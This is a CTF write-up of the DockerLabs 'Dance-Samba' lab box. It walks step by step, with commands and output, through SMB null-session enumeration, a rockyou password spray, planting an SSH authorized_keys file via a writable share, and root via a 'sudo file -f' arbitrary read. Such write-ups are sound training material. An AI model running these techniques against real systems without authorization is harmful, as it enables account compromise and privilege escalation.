the_open_door
coffee
ESEN

Dance-Samba

DockerLabsEasyLinux172.17.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#smb#crackmapexec#password-spraying#smbmap#authorized-keys#ssh#base32#base64#sudo#file#gtfobins
TL;DR. Dance-Samba repeats the Samba pattern: null session to enumerate, password spraying to land macarena:donald, and a writable share that turns out to be the user's own home. There is no web app to drop a shell into, so the write access goes into planting an authorized_keys and logging in over SSH with our own key. Inside, a file called hash is really encoded text (base32 → base64 → supersecurepassword), which does not open root but is macarena's sudo password. Her sudo file right (GTFOBins) reads files as root and leaks root:rooteable2, so su root closes the box.

Recon

Initial scan

A full port scan finds FTP, SSH and Samba:

The scan runs through jmap, a .zshrc function that prompts for the IP and runs the usual sudo nmap -sS -n -Pn -p- --min-rate 5000 --open, saving the output to a scan file in greppable format:

jmap
# 172.17.0.2

jmap scans all 65535 ports of 172.17.0.2 and finds 21, 22, 139 and 445, all at ttl 64 with MAC 02:42:AC:11:00:02

Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE       REASON
21/tcp  open  ftp           syn-ack ttl 64
22/tcp  open  ssh           syn-ack ttl 64
139/tcp open  netbios-ssn   syn-ack ttl 64
445/tcp open  microsoft-ds  syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

The 65531 ports come back closed with RST, not filtered: there is no firewall and the scan finishes in a second. The TTL arrives at 64 undecremented and a MAC address shows up in the output, which together say the same thing: not a single routing hop in between. This is a DockerLabs machine on the local bridge network (172.17.0.0/16, MAC with the 02:42:AC prefix Docker hands out).

extractPorts boils that file down and leaves the four ports on the clipboard:

extractPorts scan

extractPorts boils the scan down: IP 172.17.0.2 and open ports 21,22,139,445, copied to the clipboard

Extracting information ...
IP Address: 172.17.0.2
Open ports: 21,22,139,445

Ports copied to clipboard

And jmap2, the sibling function, fires the nmap -sCV at that list:

jmap2 172.17.0.2 21,22,139,445

jmap2 identifies vsftpd 3.0.5 with anonymous login and nota.txt, OpenSSH 9.6p1 and Samba smbd 4.6.2 on 139 and 445

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              69 Aug 19 18:03 nota.txt
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Three things go in the notebook before touching anything. FTP allows anonymous login and shares a 69-byte nota.txt. The Samba smbd 4.6.2 is what gives the box its name. And Message signing enabled but not required rules out up front the family of attacks that hinge on SMB signing, which will not be needed here.

SMB enumeration

An anonymous session lists the shares with no credentials:

crackmapexec smb 172.17.0.2 -u '' -p '' --shares

crackmapexec with a null session enumerates the print$, macarena and IPC$ shares

SMB  172.17.0.2  445  C2B5870E4B51  [*] Windows 6.1 Build 0 (name:C2B5870E4B51) (domain:C2B5870E4B51) (signing:False) (SMBv1:False)
SMB  172.17.0.2  445  C2B5870E4B51  [+] C2B5870E4B51\:
SMB  172.17.0.2  445  C2B5870E4B51  [+] Enumerated shares
SMB  172.17.0.2  445  C2B5870E4B51  Share      Permissions   Remark
SMB  172.17.0.2  445  C2B5870E4B51  print$                   Printer Drivers
SMB  172.17.0.2  445  C2B5870E4B51  macarena
SMB  172.17.0.2  445  C2B5870E4B51  IPC$                     IPC Service (c2b5870e4b51 server (Samba, Ubuntu))

That Windows 6.1 Build 0 is not Windows: it is what Samba advertises for compatibility, and the IPC$ remark contradicts it on the same screen (server (Samba, Ubuntu)). The Permissions column comes back empty for macarena, so a null session can see the share but not enter it.

The same binary pulls the users, and its output teaches something worth understanding:

crackmapexec smb 172.17.0.2 -u '' -p '' --users 2>/dev/null

crackmapexec fails over LDAP, retries with SAMRPC and enumerates the macarena user

SMB  172.17.0.2  445  C2B5870E4B51  [-] Error enumerating domain users using dc ip 172.17.0.2: socket connection error while opening: [Errno 111] Connection refused
SMB  172.17.0.2  445  C2B5870E4B51  [*] Trying with SAMRPC protocol
SMB  172.17.0.2  445  C2B5870E4B51  [+] Enumerated domain user(s)
SMB  172.17.0.2  445  C2B5870E4B51  C2B5870E4B51\macarena

The first attempt fails with Connection refused because it looks for a domain controller over LDAP and there is none. The tool retries on its own with SAMRPC, the channel a standalone Samba does answer, and there the single account shows up: macarena. A red [-] does not always mean the step failed.

Access: spraying + authorized_keys injection

Password spraying

With one username and nothing else, we pin the account and walk the wordlist:

crackmapexec smb 172.17.0.2 -u 'macarena' -p rockyou.txt 2>/dev/null | grep -v '[-]'

crackmapexec validates the password donald for the macarena user

SMB  172.17.0.2  445  C2B5870E4B51  [+] C2B5870E4B51\macarena:donald

The grep -v '[-]' is not cosmetic: without it the screen fills with one line per failed password and the good one goes unnoticed. The password is donald.

smbmap confirms what we can do once authenticated:

smbmap -H 172.17.0.2 -u "macarena" -p "donald"

smbmap shows the macarena share with READ, WRITE permissions

[+] IP: 172.17.0.2:445  Name: 172.17.0.2                Status: Authenticated
        Disk                                            Permissions     Comment
        ----                                            -----------     -------
        print$                                          READ ONLY       Printer Drivers
        macarena                                        READ, WRITE
        IPC$                                            NO ACCESS       IPC Service (c2b5870e4b51 server (Samba, Ubuntu))

READ, WRITE on macarena is what opens the next route.

The share is the user's home

Before writing anything it pays to look at what is inside, because the contents say where the share points:

smbclient //172.17.0.2/macarena -U 'macarena'
smb: \> dir
smb: \> prompt
smb: \> mget *

smbclient lists .bashrc, .profile and user.txt, and pulls everything down with mget

  .bash_history                       H        5  Mon Aug 19 19:26:02 2024
  .profile                            H      807  Mon Aug 19 18:18:51 2024
  .bashrc                             H     3771  Mon Aug 19 18:18:51 2024
  user.txt                            N       33  Mon Aug 19 18:20:25 2024
  .cache                             DH        0  Mon Aug 19 18:40:39 2024
  .bash_logout                        H      220  Mon Aug 19 18:18:51 2024

                101639152 blocks of size 1024. 64143580 blocks available

.bashrc, .profile, .bash_logout and a .cache: this is not some ordinary shared folder, it is macarena's home directory mounted as-is. user.txt, the first flag, is sitting right there and comes down without a single command having been run on the machine yet. prompt turns off the per-file confirmation and mget * takes the lot in one pass.

That detail is what settles the vector: if the share is the home and we have write access, we can drop our own .ssh/authorized_keys into it.

From writable share to SSH

We generate a key pair and prepare the public one with the name and permissions OpenSSH expects:

ssh-keygen -t rsa -b 2048 -f id_rsa

ssh-keygen generates the id_rsa / id_rsa.pub pair with no passphrase

cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys
ls -l

authorized_keys built from id_rsa.pub with 600 permissions

-rw-------  1 root root  391 Jan 15 14:15 authorized_keys
-rw-------  1 root root 1811 Jan 15 14:14 id_rsa
-rw-r--r--  1 root root  391 Jan 15 14:14 id_rsa.pub

The chmod 600 matters: OpenSSH ignores an authorized_keys with loose permissions and the login would fail without saying why. Now we upload it, creating the .ssh that did not exist:

smbclient //172.17.0.2/macarena -U 'macarena'
smb: \> mkdir .ssh
smb: \> cd .ssh
smb: \.ssh\> put authorized_keys

smbclient creates the .ssh directory and uploads authorized_keys into it

putting file authorized_keys as \.ssh\authorized_keys (190.9 kb/s) (average 190.9 kb/s)
ssh -i id_rsa macarena@172.17.0.2

Successful SSH login as macarena on Ubuntu 24.04 using the private key

Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.10.11-amd64 x86_64)
...
Last login: Wed Jan 15 14:17:46 2025 from 172.17.0.1
macarena@c2b5870e4b51:~$

The prompt confirms access as macarena, and the hostname (c2b5870e4b51) gives away that we are inside a container. The donald password was not needed for the SSH login: the key gets us in on its own, which is the whole point of planting the authorized_keys.

Privilege escalation

A hash that wasn't a hash

/home does not hold only macarena's directory. There are three, and one of them belongs to no user:

ls /home
cd /home/secret
cat hash
ftp  macarena  secret
MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===

The /home directory holds ftp, macarena and secret; inside secret there is a file called hash

That also explains the ftp from the first scan: the anonymous service has its own directory in there.

The file is called hash, but it is not one. Uppercase letters and digits 2 to 7 only, plus three = of padding: that is exactly the Base32 alphabet, which is encoding, not encryption. Run through CyberChef, the Magic operation identifies the two chained layers by itself:

Recipe:  From_Base32('A-Z2-7=', false)  ->  From_Base64('A-Za-z0-9+/=', true, false)
Result:  supersecurepassword

CyberChef's Magic operation detects From_Base32 followed by From_Base64 and returns supersecurepassword

The same thing in one line, without leaving the terminal:

echo "MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===" | base32 -d | base64 -d

The string decoded with base32 -d piped into base64 -d returns supersecurepassword

supersecurepassword

The password is not root's

The instinct is to try it against root, and it does not work:

su root

su root with supersecurepassword returns Authentication failure

Password:
su: Authentication failure

A file named hash inside a directory named secret invites you to think of the administrator account, but the credential belongs to who we already are. We check it by asking sudo to validate it:

sudo -l

sudo -l accepts the password and confirms macarena may run /usr/bin/file as any user

Matching Defaults entries for macarena on c2b5870e4b51:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User macarena may run the following commands on c2b5870e4b51:
    (ALL : ALL) /usr/bin/file

The fact that sudo -l asks for a password and accepts it is the answer: supersecurepassword is macarena's. And env_reset together with secure_path close off poisoning PATH or the environment, so the abuse has to come out of the allowed binary itself.

macarena → root (sudo file)

file on GTFOBins has an arbitrary read: with -f it treats its argument as a list of file names and, being unable to open them as such, prints the contents of each line inside the error message. Hunting for credential-looking files turns up /opt/password.txt (owned by root):

find / -iregex '.*\(password\|secret\|credential\|private\)\(\.txt\)?' -ls 2>/dev/null
LFILE=/opt/password.txt
sudo file -f $LFILE

find locates /opt/password.txt and sudo file -f leaks the root:rooteable2 line in the error message

root:rooteable2: cannot open `root:rooteable2' (No such file or directory)

The leaked line is root:rooteable2, so root's password is rooteable2. Note the file is never actually read: what gets printed is the error from trying to open its contents as if they were a path.

su root
cd
ls
cat root.txt
root.txt  true_root.txt
It's not that easy, first root.

The box leaves a decoy: root.txt holds a message rather than the flag, and the real one sits next to it.

cat true_root.txt

su root with rooteable2, the root.txt decoy and the real flag in true_root.txt

efb6984b9b0eb57451aca3f93c8ce6b7

Attack chain

SMB null session  ->  --shares: macarena share;  --users (SAMRPC): macarena user
    └─> rockyou spraying  ->  macarena:donald  ->  smbmap: READ, WRITE
            └─> the share IS the HOME (.bashrc, .profile, user.txt)
                    └─> mkdir .ssh + put authorized_keys  ->  ssh -i id_rsa  (no password)
                            └─> /home/secret/hash  ->  base32 | base64  ->  supersecurepassword
                                    ├─ su root  ->  Authentication failure   (dead end)
                                    └─ sudo -l  ->  (ALL : ALL) /usr/bin/file
                                            └─> sudo file -f /opt/password.txt  ->  root:rooteable2
                                                    └─> su root  ->  true_root.txt

Lessons learned

  • A red [-] does not close the door. crackmapexec's --users fails over LDAP and immediately retries with SAMRPC, which is the one that works. Read the next line before switching tools.
  • Look at the share before writing to it. The .bashrc, .profile and .cache are what reveal that the share IS the user's home, and that is where the authorized_keys vector comes from. With an ordinary shared folder, the same write permission would have been worth nothing.
  • Write access without a web app is still access. With no /var/www to drop a webshell into, planting the public key gives SSH without even needing the password we had just cracked.
  • === and the A-Z2-7 alphabet smell like Base32. Telling encoding from encryption saves time: two chained -d return the password with nothing to crack, and the file name (hash) was a red herring.
  • A credential you find does not belong to who it seems. supersecurepassword sat in /home/secret and did not work for root; it was macarena's, and what proves it is sudo -l accepting it.
  • sudo file is a read primitive. Plenty of "harmless" binaries read arbitrary files as root; file -f dumps them through its error messages. GTFOBins is the mandatory reference the moment you see a sudo -l.
Command cheatsheet 20 commands

Quick review